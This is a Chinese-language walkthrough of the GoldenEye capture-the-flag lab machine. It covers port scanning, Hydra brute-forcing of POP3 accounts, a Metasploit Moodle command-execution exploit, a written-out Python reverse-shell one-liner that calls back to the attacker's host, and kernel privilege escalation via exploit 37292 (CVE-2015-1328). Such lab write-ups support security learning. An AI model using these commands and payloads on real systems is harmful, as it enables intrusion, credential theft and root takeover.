当前位置 : 主页 > 编程语言 > 其它开发 >

【原创】项目一GoldenEye

来源:互联网 收集:自由互联 发布时间:2022-05-30
实战流程 1,通过nmap查找本段IP中存活的机器 ┌──(root㉿whoami)-[/home/whoami/Desktop] └─# nmap -sP 192.168.186.0/24 排查网关和已知地址,得出靶机的ip是192.168.186.138,接下来扫描端口 ┌──
实战流程

1,通过nmap查找本段IP中存活的机器

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sP 192.168.186.0/24

截图.png

排查网关和已知地址,得出靶机的ip是192.168.186.138,接下来扫描端口

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap 192.168.186.138

截图.png

访问80端口的页面

截图.png

2,根据提示进行访问,发现需要用户名和密码

截图.png

3,那就继续返回主页想办法找用户名和密码

截图.png

js中提供了3个关键信息,一段url编码和2个用户名

获得用户名:

boris

natalya

获得密码:InvincibleHack3r

密码url decode下

InvincibleHack3r

逐个尝试,发现最终账号密码

boris/InvincibleHack3r

4,观察登陆页面,发现对方已将 pop3 服务配置为在非常高的非默认端口上运行

截图.png

既然上面说了有非默认的端口在运行一个活动的pop3服务,因此进行nmap全端口扫描

(-p-:全端口扫描 -p3306:仅仅扫描3306端口)

nmap -p- 192.168.186.138

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 04:31 EDT

Nmap scan report for 192.168.186.138 (192.168.186.138)

Host is up (0.00053s latency).

Not shown: 65531 closed tcp ports (reset)

PORT STATE SERVICE

25/tcp open smtp

80/tcp open http

55006/tcp open unknown

55007/tcp open unknown

MAC Address: 00:0C:29:03:FC:39 (VMware)

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息;

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sS -sV -T5 -A -p55006,55007 192.168.186.138

截图.png

这段信息看出这两个端口开放了pop3的mail服务的。

7、接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

echo -e 'natalya\nboris' > heiyu.txt ---将两个用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

经过2~5分钟等待,获得两组账号密码:

[55007][pop3] host: 192.168.4.202 login: natalya password: bird

[55007][pop3] host: 192.168.4.202 login: boris password: secret1!

用户:boris 密码:secret1!

用户:natalya 密码:bird

截图.png

截图.png

8、boris通过NC登录pop3查看邮件信封内容枚举:

nc 192.168.186.138 55007 ---登录邮箱

user boris ---登录用户

pass secret1! ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。

截图.png

natalya用户登录邮件查看信息:

nc 192.168.186.138 55007 ---登录邮箱

user natalya ---登录用户

pass bird ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

用户名:xenia

密码:RCP90rulez!

域:severnaya-station.com

网址:severnaya-station.com/gnocertdir

我们现根据邮件提示添加本地域名:severnaya-station.com

截图.png

9、设置本地HOSTS文件

vim /etc/hosts

192.168.186.138 severnaya-station.com

10、访问severnaya-station.com/gnocertdir地址:

截图.png

刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

截图.png

点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

用户名:xenia

密码:RCP90rulez!

Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak

截图.png

11、继续爆破用户名doak的邮件

echo doak > heiyu.txt ---将用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

[55007][pop3] host: 192.168.186.138 login: doak password: goat

获得用户名密码:doak/goat

12、登录doak用户枚举邮件信息

nc 192.168.186.138 55007 ---登录邮箱

user doak ---登录用户

pass goat ---登录密码

list ---查看邮件数量

retr 1 ---查看邮件内容

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

截图.png

13、使用新的账户密码登录CMS

登录后在:Home / ▶ My home 右边发现: s3cret.txt

另外发现这是Moodle使用的2.2.3版本

截图.png

Something juicy is located here: /dir007key/for-007.jpg

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

截图.png

14、访问页面:severnaya-station.com/dir007key/for-007.jpg

截图.png

下载到本地:

wget http://severnaya-station.com/dir007key/for-007.jpg

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)

exiftool(图虫)

strings(识别动态库版本指令)

等查看jpg文件底层内容!

发现了base64编码的隐藏内容eFdpbnRlcjE5OTV4IQ==

截图.png

使用Burpsuite破解获得密码:xWinter1995x!

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin

密码:xWinter1995x!

severnaya-station.com/gnocertdir

进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

15、此版本有许多漏洞利用,由于我们需要在目标计算机上进行shell访问,因此我选择使用远程代码执行(RCE)漏洞利用。

msfconsole ---进入MSF框架攻击界面

search moodle ---查找 moodle类型 攻击的模块

use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本

set username admin ---设置用户名:admin

set password xWinter1995x! ---设置密码:xWinter1995x!

set rhost severnaya-station.com ---设置:rhosts severnaya-station.com

set targeturi /gnocertdir ---设置目录: /gnocertdir

set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse

set lhost 192.168.186.130 ---设置:lhost 192.168.4.231(需要本地IP)

exploit ----执行命令

由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:

Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor

来到此处,修改PSpellShell然后save!

截图.png

然后重新exploit继续运行:获得shell

截图.png

执行tty,因为获得的权限无框架:执行

python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

截图.png

也可以通过python反弹shell,在以下路径中找到path to aspell

Home / ► Site administration / ► Server / ► System paths

反弹shell如下编写

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

开启监听

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

触发脚本的点路径如下图,点击如图

Home / ► My profile / ► Blogs / ► Add a new entry

截图.png

此时获取python shell成功

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

Ncat: Connection from 192.168.186.138.

Ncat: Connection from 192.168.186.138:35301.

/bin/sh: 0: can't access tty; job control turned off

$

以上两种获得shell的方式都可以,2选一即可。

16、内核提权

uname -a 查看权限!

Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

https://www.exploit-db.com/exploits/37292

--------------------------------------------------

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

---------------------------------------------------------------------------

kali搜索下:

searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

截图.png

┌──(root㉿whoami)-[/usr/…/exploitdb/exploits/linux/local]

└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc

这个靶场在枚举信息知道:

无法进行GCC编译,需要改下脚本为cc

截图.png

gedit 37292.c ---文本打开

第143行将gcc改为cc ---编写下

截图.png

然后在本目录下开启http服务:

python -m SimpleHTTPServer 8082 (python2)

python -m http.server 8082 (python3)

截图.png

目标主机中下载文件

wget http://192.168.186.130:8082/37292.c ---wget下载http服务下的文件

截图.png

成功下载后执行cc编译:

cc -o exp 37292.c ---C语言的CC代码编译点c文件

chmod +x exp ---编译成可执行文件,并赋权

./exp ---点杠执行

id ---查看目前权限

发现提权成功

截图.png

cat /root/.flag.txt ---读取root下的flag信息

截图.png

获取flag值

截图.png

脑图汇总

截图.png

我的难点

1,nmap各种细节用法的使用汇总

2,hydra工具原理的理解

3,图片内容检查工具的熟悉

4,msf中RCE脚本的利用

5,通过内核提权的方法和原理

上一篇:Vue-$refs的基本用法
下一篇:没有了
网友评论